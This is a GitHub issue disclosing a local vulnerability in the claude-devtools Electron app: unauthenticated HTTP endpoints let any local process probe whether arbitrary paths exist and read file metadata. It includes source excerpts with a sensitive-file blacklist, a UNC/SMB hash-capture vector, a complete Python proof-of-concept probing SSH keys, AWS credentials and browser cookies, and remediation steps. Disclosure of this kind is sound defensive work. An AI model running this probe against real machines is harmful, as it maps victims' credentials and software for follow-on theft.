claude-devtools icon indicating copy to clipboard operation
claude-devtools copied to clipboard

Local Sensitive Logic Exposure Lead to Filesystem Metadata Probing (Arbitrary Path Existence Oracle) in claude-devtools

Open notwo1f opened this issue 4 weeks ago • 0 comments

Item Detail
Vulnerability ID 04
Severity Medium-Low
Affected Component claude-devtools (github.com/matt1398/claude-devtools), Electron desktop HTTP sidecar
Vulnerability Type CWE-306: Missing Authentication for Critical Function / CWE-204: Observable Response Discrepancy / CWE-200: Exposure of Sensitive Information
Version 0.5.0

1. Vulnerability Description

claude-devtools is an Electron desktop application that visualizes local Claude Code session logs. When the user enables "Enable server mode" in the settings, the application starts a Fastify HTTP server on the local machine (default 127.0.0.1:3456, falling back to 3466 when the port is occupied).

The path validation endpoints exposed by this service (POST /api/validate/path, POST /api/validate/mentions) and the file metadata endpoints (POST /api/read-mentioned-file, POST /api/read-directory-claude-md) have no authentication mechanism, and the parameters used as the probing baseline — projectPath / projectRoot / dirPath — are fully specified by the requester. As long as the application is running, any process on the same machine — for example, a browser extension with host permissions, any local script, a background service, or any other application process — can call these endpoints directly, without any credentials, and obtain three probing primitives:

  1. Existence of arbitrary paths: determine whether any file or directory exists on the user's machine (including sensitive paths such as .ssh/id_rsa, .aws/credentials, and .env — the existence endpoint applies no sensitive-file filtering);
  2. File/directory type distinction: beyond existence, further distinguish whether the target is a file or a directory;
  3. File metadata: for files not matching the sensitive-name blacklist, return the character count and a token estimate (no content is returned), while distinguishing "file exists but was blocked by policy" from "file does not exist".

These primitives do not leak file contents by themselves, but combined they form a complete local environment reconnaissance toolkit:

  • Local username enumeration: dictionary-probe whether C:\Users\<name> directories exist, enumerating all local user directories;
  • Software and version fingerprinting: probe installation directories under C:\Program Files\ (many applications use version-named directories), yielding a far more precise software inventory than a User-Agent; the presence or absence of security product (EDR) directories directly reveals the protection posture;
  • Confirmation of sensitive configuration presence: verify whether SSH private keys, cloud credentials, Kubernetes configurations, password stores, etc. exist — directing subsequent theft attempts;
  • UNC paths triggering SMB authentication (substantial Windows-specific risk): setting the baseline path to a \\host\share form causes the service process to issue an SMB authentication handshake toward the target host when executing fs.existsSync. An attacker-controlled host can capture Net-NTLM hashes, while also probing internal host liveness;
  • Weak content inference and activity monitoring: for configuration files with a fixed format, differences in character count can reveal which options are enabled; polling the character count of the same file enables stealthy tracking of file changes and user activity.

Impact summary: for a native malicious process on the same machine, the marginal gain is limited (such a process can read the filesystem itself); but for sandboxed attack vectors such as browser extensions, this is a qualitative change — from being entirely unable to touch the filesystem to possessing a yes/no oracle over arbitrary paths. It also serves as a verifier for other disclosure vulnerabilities, confirming leaked intelligence item by item. Hence the Medium-Low rating: the individual disclosure is limited, but the value as a link in an attack chain is significant.

2. Vulnerability Analysis (Source Code)

2.1 The HTTP Server Has No Authentication (Root Cause Shared With Other Findings)

Like all /api/* endpoints, this endpoint group is registered in src/main/services/infrastructure/HttpServer.ts. The server registers routes directly after creation, with no authentication hooks:

this.app = Fastify({ logger: false });
// Register CORS  <-- CORS only; no auth middleware at all
...
registerHttpRoutes(this.app, services, sshModeSwitchCallback);  // all routes registered directly

The default CORS callback additionally allows requests that carry no Origin header — requests from any non-browser local process hit this branch and are allowed through.

2.2 Existence Probing Endpoint: The Baseline Path Is Requester-Controlled, Making the Containment Check Meaningless

In src/main/http/validation.ts, /api/validate/path accepts projectPath and relativePath supplied by the requester, joins them, performs a prefix containment check, and returns a boolean from fs.existsSync:

function isPathContained(fullPath: string, basePath: string): boolean {
  const normalizedFull = path.normalize(fullPath);
  const normalizedBase = path.normalize(basePath);
  return normalizedFull === normalizedBase || normalizedFull.startsWith(normalizedBase + path.sep);
}

app.post<{ Body: { relativePath: string; projectPath: string } }>(
  '/api/validate/path',
  async (request) => {
    const { relativePath, projectPath } = request.body;   // <-- baseline comes from the request body
    const fullPath = path.join(projectPath, relativePath);

    if (!isPathContained(fullPath, projectPath)) {        // <-- compared against the attacker's own baseline
      return { exists: false };
    }

    if (!fs.existsSync(fullPath)) {                       // <-- arbitrary path existence probing
      return { exists: false };
    }

    const stats = fs.statSync(fullPath);
    return { exists: true, isDirectory: stats.isDirectory() };
  }
);

The critical flaw: projectPath is not drawn from a server-side list of trusted projects — it is a request parameter. By setting the baseline to C:/, C:/Users/<username>, or even \\host\share, an attacker makes the containment check trivially true for any target. This endpoint does not reference any sensitive-file filtering logic: paths such as .ssh and .env return existence results as usual; fs.existsSync on a UNC path triggers SMB authentication. /api/validate/mentions reuses the same logic and supports batch probing of multiple paths in a single request.

2.3 File Metadata Endpoint: A Blacklist Mitigates Content Risk, but Character Counts Become a Disclosure Channel

In src/main/http/utility.ts, /api/read-mentioned-file accepts requester-supplied absolutePath and projectRoot, validates via validateFilePath, and returns metadata:

app.post<{ Body: { absolutePath: string; projectRoot: string; maxTokens?: number } }>(
  '/api/read-mentioned-file',
  async (request) => {
    const { absolutePath, projectRoot, maxTokens = 25000 } = request.body;

    const validation = validateFilePath(absolutePath, projectRoot || null);
    if (!validation.valid) {
      return null;                        // blocked / out of bounds / missing / over limit all return null
    }
    const safePath = validation.normalizedPath!;
    if (!fs.existsSync(safePath)) { return null; }
    const stats = fs.statSync(safePath);
    if (!stats.isFile()) { return null; }

    const content = fs.readFileSync(safePath, 'utf8');
    const estimatedTokens = countTokens(content);
    if (estimatedTokens > maxTokens) { return null; }

    return {
      path: safePath,                     // resolved absolute path
      exists: true,
      charCount: content.length,          // file character count
      estimatedTokens,                    // token estimate
    };
  }
);

validateFilePath (src/main/utils/pathValidation.ts) contains a sensitive-file blacklist and a directory containment check:

const SENSITIVE_PATTERNS: RegExp[] = [
  /[/\\]\.ssh[/\\]/i, /[/\\]\.aws[/\\]/i, /[/\\]\.env($|\.)/i,
  /[/\\]id_rsa$/i, /[/\\][^/\\]*\.pem$/i, /[/\\][^/\\]*\.key$/i,
  /credentials\.json$/i, ...      // a match rejects the request, returning null
];

function isPathWithinAllowedDirectories(normalizedPath, projectPath) {
  ...
  if (projectPath) {
    const normalizedProjectPath = normalizeForCompare(projectPath, isWindows);
    if (isPathWithinRoot(normalizedTarget, normalizedProjectPath)) {
      return true;                        // <-- projectRoot is specified by the requester
    }
  }
  return false;
}

Two key points. First, the projectPath used in the directory containment check also comes from the request body — an attacker sets it to C:/ and any absolute path on the machine becomes "legitimate". Second, the four failure conditions — blacklist hit, path out of bounds, file missing, over maxTokens — all return the same null, so the endpoint cannot leak content; however, the very fact of a blacklist hit tells the attacker which paths the application considers sensitive (e.g., id_rsa is blocked while id_rsa.pub passes — the boundary of an anchored regex is itself information).

2.4 Directory-Level Metadata Endpoint

/api/read-directory-claude-md accepts an arbitrary requester-supplied dirPath and returns the existence and character count / token statistics of CLAUDE.md in that directory — a directory-granularity probing primitive.

2.5 Root Cause Summary

These endpoints were designed on the assumption that "the baseline directory is a trusted project path supplied by the application's own UI", but in implementation the baseline comes entirely from the request body. Combined with the lack of authentication and the absence of sensitive-path filtering in the existence endpoints, the result is a filesystem question-answer machine open to every process on the machine. The endpoints do not return file contents, which is why the severity is below the session disclosure findings; however, boolean probing plus the metadata channel is highly valuable in reconnaissance scenarios.

3. Vulnerability POC

3.1 Reproduction Steps

  1. Prepare the target environment: install and run the claude-devtools Electron application on the target machine, open the settings page, and turn on the "Enable server mode" toggle in the General section. The service starts on 127.0.0.1:3456 (falling back to 3466 if occupied).

  2. Run the POC: on the same machine (simulating the perspective of a same-machine process or browser extension), save the following script as poc.py (Python 3 standard library only, no third-party dependencies) and execute:

    python poc.py            # automatically scans ports 3456-3466
    python poc.py --port 3457  # or specify the port manually
    
  3. Expected result: the script automatically discovers the service port, then performs four probes without any credentials, all returning HTTP 200:

    • Single-path probe: using C:/ as the baseline, confirms the existence and type of the Users/xx/.ssh directory;
    • Batch probe: using C:/Users/xx as the baseline, confirms in one request whether .ssh/id_rsa, .aws/credentials, .env, Chrome Cookies, and other sensitive files exist;
    • File metadata: for id_rsa.pub (not covered by the blacklist), returns the resolved absolute path, character count, and token estimate;
    • Directory statistics: returns the existence and size statistics of CLAUDE.md in an arbitrarily specified directory.

    The boolean map returned by the batch probe is a real snapshot of the target machine's filesystem — the attacker completes this reconnaissance without any content-reading capability.

3.2 Full POC Code (Python 3, standard library only)

#!/usr/bin/env python3
"""04 - Filesystem Metadata Oracle POC (Python)

projectPath / projectRoot are fully controlled by the requester, enabling
probing of arbitrary path existence, file/directory types, character counts
and token estimates.
Usage: python poc.py [--host 127.0.0.1] [--port 3456]
"""

import argparse
import json
import sys
import urllib.error
import urllib.request

sys.stdout.reconfigure(encoding="utf-8", errors="replace")

PROBE_LIST = [
    ".ssh/id_rsa",
    ".ssh/id_ed25519",
    ".aws/credentials",
    ".env",
    "AppData/Local/Google/Chrome/User Data/Default/Cookies",
]


def http_request(method, url, body=None, headers=None, timeout=10):
    data = json.dumps(body).encode() if body is not None else None
    req = urllib.request.Request(url, data=data, method=method, headers=headers or {})
    if data is not None:
        req.add_header("Content-Type", "application/json")
    try:
        with urllib.request.urlopen(req, timeout=timeout) as resp:
            return resp.status, dict(resp.headers), resp.read().decode("utf-8", "replace")
    except urllib.error.HTTPError as e:
        return e.code, dict(e.headers), e.read().decode("utf-8", "replace")
    except (urllib.error.URLError, OSError) as e:
        return None, None, str(e)


def api(base, method, path, body=None, timeout=10):
    status, _, raw = http_request(method, base + path, body, timeout=timeout)
    try:
        parsed = json.loads(raw)
    except ValueError:
        parsed = raw
    return status, parsed


def show(title, status, data, limit=2500):
    print(f"\n=== {title} (HTTP {status}) ===")
    print(json.dumps(data, ensure_ascii=False, indent=2)[:limit])


def find_server():
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", default="127.0.0.1")
    parser.add_argument("--port", type=int, default=0)
    args = parser.parse_args()
    ports = [args.port] if args.port else range(3456, 3467)
    print(f"[*] Scanning {args.host} ports {ports[0]}-{ports[-1]} ...")
    for port in ports:
        status, _, _ = http_request("GET", f"http://{args.host}:{port}/api/version", timeout=0.7)
        if status is not None:
            print(f"[+] Service found: http://{args.host}:{port}")
            return f"http://{args.host}:{port}"
    print("[-] No service found")
    sys.exit(1)


def main():
    base = find_server()

    # 1. Single-path probe: the base directory is fully attacker-controlled
    status, result = api(base, "POST", "/api/validate/path", {
        "projectPath": "C:/",
        "relativePath": "Users/xx/.ssh",
    })
    show("POST /api/validate/path (C:/ + Users/xx/.ssh)", status, result)

    # 2. Batch existence probing of sensitive files
    status, result = api(base, "POST", "/api/validate/mentions", {
        "projectPath": "C:/Users/xx",
        "mentions": [{"type": "path", "value": v} for v in PROBE_LIST],
    })
    show("POST /api/validate/mentions (batch)", status, result)

    # 3. File metadata: existence + char count + token estimate (no content returned)
    status, result = api(base, "POST", "/api/read-mentioned-file", {
        "absolutePath": "C:/Users/xx/.ssh/id_rsa.pub",
        "projectRoot": "C:/",
        "maxTokens": 25000,
    })
    show("POST /api/read-mentioned-file (id_rsa.pub)", status, result)

    # 4. Directory CLAUDE.md statistics
    status, result = api(base, "POST", "/api/read-directory-claude-md", {
        "dirPath": "C:/Users/xx",
    })
    show("POST /api/read-directory-claude-md", status, result)


if __name__ == "__main__":
    main()

4. Remediation Recommendations

  1. Add local authentication to the HTTP API (root fix): as with all /api/* endpoints, enforce a high-entropy random token generated at startup (Authorization: Bearer <token>) and return 401 otherwise, blocking both same-machine processes and browser extensions.
  2. Make the baseline path a server-side trusted value: projectPath / projectRoot / dirPath must no longer be freely specified by the requester; only paths from the server's own scanned project list may be referenced, and requests referencing anything else must be rejected.
  3. Add sensitive-path filtering to the existence endpoints: apply the SENSITIVE_PATTERNS checks from pathValidation.ts to /api/validate/path and /api/validate/mentions — or remove these endpoints outright (the renderer barely needs them).
  4. Restrict UNC paths: reject probe requests beginning with \\ or involving mapped drives, preventing the service process from being lured into issuing SMB authentication toward attacker-controlled hosts (Net-NTLM disclosure).
  5. Tighten the metadata endpoints: return charCount / estimatedTokens only for files inside server-known projects; or remove the metadata returned by /api/read-mentioned-file, keeping only the minimal fields the renderer requires.
  6. Off by default and rate-limited: keep server mode disabled by default; add rate limiting to the probing endpoints to raise the cost of bulk mapping.

notwo1f avatar Nov 06 '26 07:11 notwo1f